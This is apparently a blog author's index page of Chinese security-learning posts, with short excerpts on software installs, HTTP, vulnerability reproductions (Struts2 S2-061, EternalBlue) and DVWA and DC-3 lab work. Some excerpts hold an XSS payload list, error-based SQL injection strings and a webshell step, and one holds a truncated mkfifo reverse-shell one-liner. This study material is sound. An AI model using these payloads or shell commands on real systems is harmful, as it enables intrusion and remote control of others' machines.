- 博客(18)
- 资源 (3)
- 收藏
- 关注
原创 15ubuntu20.04离线安装openssh8.9.p1
一、依赖包安装依赖包下载网址:https://debian.pkgs.org/sid/debian-main-amd64/下载好将依赖包放入/software,安装mkdir /softwarecd /softwaredpkg -i libsepol1-dev_3.0-1_amd64.debdpkg -i libselinux1-dev_3.0-1build2_amd64.debdpkg -i libpam0g_1.3.1.11-1+dde_amd64.debdpkg -i li
2022-03-21 14:00:30
5483
原创 2021-11-15xss笔记
<script>alert(1)</script></script>"><script>prompt(1)</script></ScRiPt>"><ScRiPt>prompt(1)</ScRiPt>"><img src=x onerror=prompt(1)>"><svg/onload=prompt(1)>"><iframe/src=javas
2021-11-15 17:43:58
876
原创 14linux离线源码安装mysql8.0.26教程
离线源码安装mysql1:下载tar包,如果有则直接使用下载连接:https://dev.mysql.com/get/Downloads/MySQL-8.0/mysql-8.0.26-linux-glibc2.12-x86_64.tar.xzcd /home/dcsys/softwarels2:解压编译及安装mysqlsudo tar zxf mysql-boost-8.0.26.tar.gzmv mysql-8.0.26/ /data/mysql-8.0.26cd /data/m
2021-08-17 12:52:35
590
2
原创 13http详解
HTTP/HTTPS的具体区别HTTP简要通信过程:1.建立连接–>2.发送请求数据包–>3.返回响应数据包–>4.关闭连接。1.浏览器建立与web之间的连接2.浏览器将请求数据打包(生成请求数据包)并发送到web服务器3.web服务器将响应处理结果打包(生成响应数据包)并发送到web服务器。4.web服务器关闭连接。HTTPS简要通信过程:1.浏览器发送请求–>2.服务器返回网站的证书信息–>3.进行证书校验,协商SSL连接的安全等级,生成密码、和公私钥。–&
2021-07-26 23:48:08
430
原创 12从kali移动硬盘安装、到主题。
前提1.一个移动硬盘或者性能好点的U盘。2.kali官方iso镜像,下载地址:点击以下载3.分区工具:diskgenius4.虚拟机VMware16.0一、首先给我们的移动硬盘/U盘分区我这里有一个300GB的移动硬盘,是我平时日常存放文件用的。当然这也不影响,我们给它分一个区专门安装linux系统。这样这个盘既可以日常存放资料,也可以作为便携式kali linux使用。我们的kali需要3个分区:(1)大小约100MB的EFI启动分区(2)大小约8GB的交换分区(swap)(3)大小约
2021-01-30 23:14:43
973
2
原创 11S2-061漏洞复现
Struts2 S2-061 远程命令执行漏洞(CVE-2020-17530)1.漏洞描述S2-061是对S2-059的绕过,Struts2官方对S2-059的修复方式是加强OGNL表达式沙盒,而S2-061绕过了该沙盒。该漏洞影响版本范围是Struts 2.0.0到Struts 2.5.25。2.参考链接https://cwiki.apache.org/confluence/display/WW/S2-061https://github.com/ka1n4t/CVE-2020-17530htt
2020-12-30 22:48:48
193
原创 09永恒之蓝与永恒之黑的复现
一、永恒之蓝1.简介2017年3月14日,微软公布SMB远程代码执行漏洞(MS17-010),又称永恒之蓝,该漏洞在 Microsoft 服务器消息块 1.0 (SMBv1) 服务器处理某些请求时,存在多个远程执行代码漏洞。成功利用这些漏洞的攻击者可以获取在目标系统上执行代码的能力。为了利用此漏洞,在多数情况下,未经身份验证的攻击者可能向目标 SMBv1 服务器发送经特殊设计的数据包。能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入
2020-08-15 18:08:39
1921
原创 08DC3后续提权过程
1.GetShell寻找可以修改PHP文件的地方TemplatesBeez3 Details and Files写入一句话木马木马地址:http://192.168.48.136/templates/beez3/html/yjh.php用蚁剑连接填写密码和地址2.提权反弹shell攻击端监听端⼝等待回连nc -lvvp 2333靶机运行反弹shell命令rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&
2020-08-11 19:12:12
244
原创 07BugkuCTF的文件包含项目
进入BugkuCTF之前我们先了解一下文件包含的基础知识。一、文件包含1.概念文件包含:程序员通常会把可重复使用函数或语句写到单个文件中,在使用某个功能时,直接调用此文件,不用再编写调用文件的过程称为包含。2.PHP 中的⽂件包含语句PHP 提供了四个⽂件包含的语句,四个语句之间略有不同:语句区别include()多次包含,如果包含失败,脚本产⽣警告,继续运⾏。include_once()⼀次包含,如果包含失败,脚本产⽣警告,继续运⾏。require()多次
2020-08-05 21:19:19
540
原创 06跨站请求伪造(CSRF)与口令(密码)安全
一、跨站请求伪造1.概述 黑客可以伪造管理员的正常请求,强制管理员给任意用户的发出各种请求。(1)基本概念 跨站请求伪造(Cross Site Request Forgery,CSRF) 。 CSRF 是⼀种攻击,它强制终端⽤户在当前对其进⾏身份验证后的Web 应⽤程序上执⾏⾮本意操作的攻 击。 CSRF 攻击的重点在于更改状态的请求,⽽不是盗取数据,因为攻击者⽆法查看伪造请求的响应。(2)关键点 受害者没有退出登录。 CS...
2020-08-03 20:48:12
347
原创 05SQL注入进阶和dc-3靶机渗透
一、DVWA的SQL注入报错注入:利用数据库的报错信息进行 SQL 注入,前提是数据库错误信息能够显示在网页中。Group by 重复键冲突?id=32 and (select 1 from (select count(*),concat(0x5e,(select database()),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)?id=32 and (select 1 from (select cou
2020-07-28 23:25:20
192
原创 04SQL注入基础和联合查询
一.SQL注入漏洞1.SQL注入原理(1)程序员在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句.(2)未对用户可控参数进行足够的过滤,便将参数内容拼接到SQL语句中2.SQL注入漏洞的危害(1)攻击者可以利用SQL注入漏洞,可以获取数据库中的多种信息(例如:管理员后台账密),从而脱取数据库中的内容(脱库).(2)在特别的情况下还可以修改数据库内容、插入内容到数据库或者删除数据库中的内容。(3)如果数据库权限分配存在问题,或者数据库本身存在缺陷,攻击者可以利用SQL注入漏洞读写文件
2020-07-27 19:54:50
150
原创 03DVWA的搭建和nmap的使用
一.DVWA的搭建简介DVWA(Damn Vulnerable Web Application)中文:该死的脆弱的Web应用程序;开源的漏洞集成环境,基于PHP语言的,安装到phpStudy中即可,有四种难度级别(),开源免费,可以观察到Web应用的源代码,可以从攻防两个角度来理解漏洞.| 难度级别| 说明 ||-Low-|–|| | |...
2020-07-27 00:08:55
843
转载 phoenix BIOS设置
Phoenix BIOS,是BIOS类型中的一种,现在很多玩家的电脑还是再用phoenix bios但是大多新手玩家都找不到这个BIOS的设置选项,尤其是英文不好的玩家,那更是有难度了下面就图解一下phoenix bios的一些主要部分,让大家不迷茫图解一——基本设置按F2或者DEL 进入PHOENIX BIOS设置,就会出现如下界面,system time 设置时间格式为(时,分,秒)SYTEM DATA 设置日期LEGACY
2020-07-26 17:43:36
10820
2
原创 02HTTP协议的初相见
报文分析和响应一、利用telnet 模拟浏览器发送HTTP 请求,测试多种请求方法1.我开始用windows的cmd和powershell的telnet,连接后直接显示空白,不能输入请求,最后我在kali中用telnet发送请求(1)GET方法:用于请求服务器发送的某个资源。下面是响应报文:由状态行、响应头、响应正文三部分组成。状态行:响应报文的第一行协议/版本:HTTP/1.1响应状态码:200描述短语:OK响应头∶响应报文第二行开始到第一个空行为止的所有内容,其中包含了关于HTTP
2020-07-22 21:18:55
139
原创 01Web架构-Web架构安全分析
Web架构-Web架构安全分析Web工作机制网页、网站+web容器+中间件服务器+数据库网页:经过浏览器渲染的HTML页面,包含css与div等前端技术网页分为静态网页和动态网页。静态网页:都是一些.html文件。HTML(超文本标记语言)在浏览器中运行。只能将信息传递到浏览器、客户端、用户,没有交互功能。动态网页:利用flash、Php、Asp、Java、JavaScript等技术在网页中嵌入一些可以运行的脚本,用户浏览器在解释页面时,遇到脚本就启动运行它。实现了信息的双向流动。网站:多个网
2020-07-21 20:39:14
360
SMBGhost_RCE_PoC-master.zip
2020-08-15
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人